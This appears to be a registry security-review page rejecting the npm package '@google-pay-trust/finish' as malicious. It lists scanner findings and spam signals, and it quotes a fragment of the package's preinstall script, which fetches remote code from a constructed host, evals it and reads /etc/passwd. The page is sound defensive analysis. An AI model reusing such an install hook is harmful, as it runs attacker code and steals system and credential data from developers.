All @google-pay-trust/finish versions

@google-pay-trust/[email protected] rejected Risk: 100 ISC

@google-pay-trust/finish @99.0.1

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.8 KB
Package Size
Published

finish utilities

Maintainers

m0ntana

Risk Dispositions (4 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
bogus-package bogus-package reject AI AI (bogus-package): SPAM-FLAGGED publisher; package is a malicious payload with no legitimate purpose.
install-script:preinstall install-scripts reject AI AI (install-scripts): Preinstall fetches and evals remote code; credential harvesting confirmed.
semgrep:etc-passwd-access semgrep reject AI AI (semgrep): Explicit /etc/passwd access in preinstall payload — credential theft.
semgrep:eval-usage semgrep reject AI AI (semgrep): eval() on remotely fetched body in preinstall — arbitrary code execution.

SAST Findings (6)

CRITICAL MAL-2026-3063: Malicious code in @google-pay-trust/finish (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (40dff7bce18169026529bb52965f9a0ca1a761a69f37df9fd9dabddcb1eeeb72) The OpenSSF Package Analysis project identified '@google-pay-trust/finish' @ 99.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

HIGH Package has 'preinstall' script install-scripts

Script: node preinstall.js

HIGH Low-value / spam package indicators (7 signals, score 9) bogus-package

Matched 7 signal(s), weighted score 9: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 1999 bytes total. • [S_INFLATED_FIRST_SEMVER] First publish at version 99.0.1 — inflated semver on a brand-new package. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

HIGH etc-passwd-access: poc.preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

HIGH etc-passwd-access: preinstall.js:13 semgrep

Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 163). Findings: 1 critical (+40), 4 high (+100), 2 medium (+20), 1 low (+3).

Published to npm: